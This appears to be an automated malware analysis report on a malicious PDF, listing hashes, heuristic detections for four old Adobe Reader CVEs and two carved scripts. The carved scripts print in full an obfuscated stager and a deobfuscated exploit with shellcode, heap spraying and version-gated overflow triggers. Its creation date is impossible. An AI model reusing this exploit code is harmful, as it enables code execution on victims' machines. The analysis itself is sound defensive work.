Malicious PDF — malware analysis report

Static analysis result for SHA-256 72d65c2efa2a121e…

MALICIOUS

PDF

26.0 KB Created: 2011-72-51 03:25:00
MD5: fea1018318995796861ed2bd3925c53f SHA-1: 089951c709920b047b19b748c5b91b36b18a07fd SHA-256: 72d65c2efa2a121e3a63ded18828240e58ee0209b63955c38b0d95478ed83cb4
548 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The JavaScript is designed to download and execute a second-stage payload, indicated by the presence of shellcode in the deobfuscated script. The primary goal is to achieve arbitrary code execution on the victim's machine.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
cec3c7659c7bc5234f3491af797517cfcc74ed75da101ae8194569b60193b28a		 pdf-javascript-stream PDF /JS object 1 at offset 0x6407 844 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var XargubyihePymdyzy='';
var BavanarisonimybOne=this.producer.substr(0,4);
for(var DipuhujelafoDmuba in this) {
	if (DipuhujelafoDmuba=='BavanarisonimybOne')
		SocAh=eval(DipuhujelafoDmuba.replace('BavanarisonimybOn','')+'val');
}
TalOfu = SocAh('new Date(2007,2,51,2,12,5)');
ucEd = 'thi'+TalOfu.getHours()+'ducer';
PihAefa=SocAh(ucEd.replace(2,'s.pro'));
PihAefa = PihAefa.replace(/t/g,'2');
PaydunekubaryGywof = PihAefa.substr(4).split('s');
var LosuqyrOhum = '';
g = TalOfu.getHours()*2;
var Bobn = 'fro'+TalOfu.getHours()+'arCode';
Bobn=Bobn.replace(2,'mCh');
NojetaCehoz=String[Bobn];
for (DipuhujelafoDmuba = 0; DipuhujelafoDmuba < PaydunekubaryGywof.length; DipuhujelafoDmuba++) {
	RinirulupofOmu = SocAh(PaydunekubaryGywof[DipuhujelafoDmuba]);
	LosuqyrOhum += NojetaCehoz(RinirulupofOmu);
}
SocAh(LosuqyrOhum);
info_arithmetic_stage_000.js
734fa027054450035e31d7e6e9e1e3512fde5eb0e4a3e3d0b2fc4337e861f015		 deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3722 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u53B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u3834%uE2AA%uC3FA%uE5E8%uFFFF%uD1FF%u3934%u3838%uB966%u64D4%u3839%uB138%uB5DF%u2877%u57B5%u096C%u6FE3%u6B69%u6B6B%u6B6B%u6B6B%u6B6D%u506B%u393C%u3838%u6E6D%u506B%u5657%u3838%u4D50%u544A%u6C55%uB650%u3676%uD0D4%u3870%u3838%uD068%u3844%u3838%uE8C7%uFCBB%u5030%uD777%u3D77%uD068%u3854%u3838%uE8C7%uF8BD%u2F4D%u6C52%uCB61%u5092%uC64A%u2E8B%u25D0%u3838%u6838%u69D0%u3838%uC738%u6BE8%uC652%uB150%u3957%uD085%u3830%u3838%uD068%u3804%u3838%uE8C7%u0958%u5CF8%u68B3%uB308%u346A%u6AB3%uB32C%u104A%u2081%u3838%u0938%u09C7%u94F8%u5904%u3A44%u1814%uF7F9%u3935%uDAFF%uB9C8%u63C7%u7284%uB352%u287A%u2AB3%uE14D%u7CB1%u241C%uFB59%uB358%u1C54%uB31C%u047D%u6CB3%u403D%uD239%u72B3%uB320%u1862%uD339%u0CDB%uB371%uB30C%uD639%uC709%uF809%u94C4%uF8BC%u3F4C%uF7F9%u3935%uD3FF%u03CC%u1C44%u4D10%uB3D9%u1C62%uD339%uB35E%u7334%u62B3%u3924%uB3D3%uB33C%uD039%u7CB1%u241C%uFA59%u3830%uD7D0%uC7C6%u50C7%u4C4C%u0248%u1717%u575B%u5651%u5C59%u4A59%u5B16%u1642%u5B5B%u5717%u4C4D%u4816%u4850%u5907%u6905%u5369%u7A7E%u085F%u7979%u714F%u797B%u6179%u7D79%u5B53%u7A72%u0579%u1E05%u0548%u380F';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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